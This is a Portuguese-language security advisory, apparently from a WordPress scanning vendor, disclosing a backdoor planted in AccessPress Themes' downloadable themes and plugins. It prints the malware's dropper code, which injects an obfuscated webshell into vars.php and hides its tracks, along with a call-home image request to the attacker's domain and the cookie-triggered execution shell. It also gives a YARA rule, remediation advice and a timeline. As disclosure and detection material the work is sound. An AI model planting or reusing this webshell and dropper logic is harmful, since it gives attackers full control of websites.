Backdoor encontrado em temas e plugins de temas do AccessPress

Atualização 1º de fevereiro – Alterada a seção “Temas afetados” para refletir que novas versões dos temas estão começando a aparecer.

Ao investigar um site comprometido, descobrimos um código suspeito em um tema do AccessPress Themes (também conhecido como Access Keys), um fornecedor com um grande número de temas e plugins populares. Em uma investigação mais aprofundada, descobrimos que todos os temas e a maioria dos plugins do fornecedor continham esse código suspeito, mas apenas se baixados de seu próprio site. As mesmas extensões funcionaram bem se baixadas ou instaladas diretamente do diretório WordPress.org.

Devido à forma como as extensões foram comprometidas, suspeitamos que um invasor externo tenha violado o site do AccessPress Themes na tentativa de usar suas extensões para infectar outros sites.

Entramos em contato com o fornecedor imediatamente, mas a princípio não recebemos uma resposta. Depois de encaminhá-lo para a equipe de plugins do WordPress.org, nossas suspeitas foram confirmadas. Os sites AccessPress Themes foram invadidos na primeira quinzena de setembro de 2021, e as extensões disponíveis para download em seu site foram injetadas com um backdoor.

Assim que estabelecemos um canal de comunicação com o fornecedor, compartilhamos nossas descobertas detalhadas com eles. Eles removeram imediatamente as extensões ofensivas de seu site.

A maioria dos plugins já foi atualizada e as versões limpas conhecidas estão listadas no final deste post. No entanto, os temas afetados não foram atualizados e são extraídos do repositório de temas do WordPress.org. Se você tiver algum dos temas listados no final desta postagem instalado em seu site, recomendamos migrar para um novo tema o mais rápido possível.

Essa divulgação diz respeito a um grande número de extensões, tanto plugins quanto temas. Pule para a lista abaixo ou leia os detalhes.

Detalhes:

Fornecedor: Temas AccessPress
URL do fornecedor: https://accesspressthemes.com
Plug-ins: vários
Temas: vários
CVE: CVE-2021-24867

Análise:

As extensões infectadas continham um conta-gotas para um webshell que dá aos invasores acesso total aos sites infectados. O conta-gotas está localizado no arquivo inital.php localizado no plugin principal ou diretório do tema. Quando executado, ele instala um webshell baseado em cookie em wp-includes/vars.php . O shell é instalado como uma função logo na frente da função wp_is_mobile() com o nome de wp_is_mobile_fix() . Isto é presumivelmente para não levantar suspeitas para ninguém que esteja navegando casualmente pelo arquivo vars.php .

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

Depois que o shell estiver instalado, o conta-gotas ligará para casa carregando uma imagem remota do URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg com o URL do site infectado e informações sobre qual tema ele usa como argumentos de consulta. Por fim, ele removerá o arquivo de origem do conta-gotas para evitar a detecção quando a solicitação terminar de ser executada.

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

O próprio webshell é acionado se a string do agente do usuário na solicitação for wp_is_mobile e a solicitação contiver oito cookies específicos. Ele reúne e executa uma carga desses cookies fornecidos.

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

Também vimos outra variante, presumivelmente mais antiga, do backdoor diretamente embutido no arquivo functions.php do tema/plugin. Essa variante usa o mesmo mecanismo para reunir a carga útil de oito cookies, mas não filtra a string do agente do usuário da solicitação.

Para garantir que o dropper seja executado, o arquivo de plugin principal (para plugins) ou o arquivo functions.php (para temas) foram modificados com código para executar o arquivo inital.php se existir.

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

Um detalhe marcante dos timestamps dos plugins comprometidos é que eles são todos do início de setembro. A maioria é de 6 e 7 de setembro, com alguns arquivos de 2 e 3 de setembro. Da mesma forma para os temas, todos foram comprometidos em 22 de setembro, exceto accessbuddy em 9 de setembro.

Além disso, os carimbos de data e hora nos arquivos zip são muito uniformes, com quase todos os arquivos com exatamente o mesmo carimbo de data e hora, exceto o arquivo de plug-in principal modificado e o arquivo conta-gotas adicionado que é carimbado alguns minutos depois (geralmente cerca de 2 a 5 minutos após os outros arquivos no arquivo).

Observando os timestamps para os arquivos zip baixados do repositório wordpress.org , no entanto, encontramos uma distribuição de timestamps correspondentes a quando o plugin/tema foi realmente atualizado. Além disso, a distribuição de timestamps dentro do arquivo é menos uniforme e reflete quais arquivos foram atualizados na versão e quais não foram alterados em relação a uma versão mais antiga.

Isso nos sugere que os arquivos do site do AccessPress Themes foram modificados intencionalmente, e como uma ação coordenada depois que foram lançados originalmente. O compromisso parece ter sido feito em duas etapas, uma para os plugins e outra posterior para os temas. Cada um deles com algumas tentativas anteriores, possivelmente para afinar o processo.

Nossa investigação analisou apenas os temas e plugins disponíveis gratuitamente no site do AccessPress Themes. Presumimos que seus temas profissionais pagos sejam afetados da mesma forma, mas não os examinamos. Se você tiver algum desses, entre em contato com o suporte do AccessPress Themes para obter mais conselhos.

Temas afetados

Se você tiver algum dos seguintes temas com um número de versão na coluna Bad instalado em seu site, recomendamos atualizar para a versão na coluna Clean imediatamente. Vale a pena notar que os temas instalados através do WordPress.org são limpos, mesmo que estejam listados na coluna Ruim . Ainda recomendamos atualizar para a versão limpa conhecida para garantir a segurança.

Os temas sem número de versão na coluna Limpo ainda não foram atualizados e recomendamos substituí-lo por outro tema, se possível.

Plug-ins afetados

Se você tiver algum dos plug-ins a seguir com um número de versão na coluna Bad instalado em seu site, recomendamos atualizar para a versão na coluna Clean imediatamente. Vale a pena notar que os plugins instalados através do WordPress.org são limpos, mesmo que estejam listados na coluna Ruim . Ainda recomendamos atualizar para a versão limpa conhecida para garantir a segurança.

Plugins sem número de versão na coluna Clean ainda não foram atualizados e recomendamos substituí-los por outros plugins, se possível.

Notas:

1. Este plugin não foi atualizado, mas acredita-se que seja limpo, pois a versão no site AccessPress Themes era uma versão mais antiga.
2. Este plugin não foi atualizado, mas acredita-se que seja limpo, pois não estava originalmente disponível no site AccessPress Themes.

COIs

A seguinte regra YARA pode ser usada para verificar se o site foi infectado. Ele detectará tanto a parte conta-gotas da infecção quanto o webshell instalado.

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

Recomendações

Se você tiver algum tema ou plugin instalado diretamente do AccessPress Themes ou de qualquer outro lugar, exceto WordPress.org, você deve atualizar imediatamente para uma versão segura, conforme indicado nas tabelas acima. Se nenhuma versão segura estiver disponível, substitua-a pela versão mais recente do WordPress.org.

Observe que isso não remove o backdoor do seu sistema, portanto, além disso, você precisa reinstalar uma versão limpa do WordPress para reverter as modificações do arquivo principal feitas durante a instalação do backdoor.

Se você tiver um tema ou plug-in pago do AccessPress Themes/Access Keys, recomendamos entrar em contato com o suporte deles para obter ajuda.

É altamente recomendável que você tenha um plano de segurança para seu site que inclua verificação e backups de arquivos maliciosos. O Jetpack Security é uma ótima opção de segurança do WordPress para garantir que seu site e visitantes estejam seguros. O Jetpack Scan detectou todas as variantes dessa porta dos fundos e do conta-gotas desde 30 de setembro.

Linha do tempo

22/09/2021: A equipe do Jetpack Scan descobre o conta-gotas e a porta dos fundos no tema FotoGraphy e tenta entrar em contato com o fornecedor sobre a descoberta inicial.

27/09/2021: Confirme a presença de conta-gotas + back door em todos os plugins e temas gratuitos atuais baixados do site dos fornecedores.

28/09/2021: Confirme se o conta-gotas + porta traseira não está presente em downloads do wordpress.org

29/09/2021: Tentando entrar em contato com o fornecedor novamente, com atualizações sobre novas descobertas.

14/10/2021: Escalado para a equipe de plugins do WordPress para tentar obter contato com o fornecedor.

15/10/2021: As extensões comprometidas são removidas do site do fornecedor.

16/10/2021: Resposta do fornecedor

17/01/2022: A maioria dos plugins foi atualizada para novas versões, os temas foram retirados do WordPress.org.

2022-01-18 Divulgação pública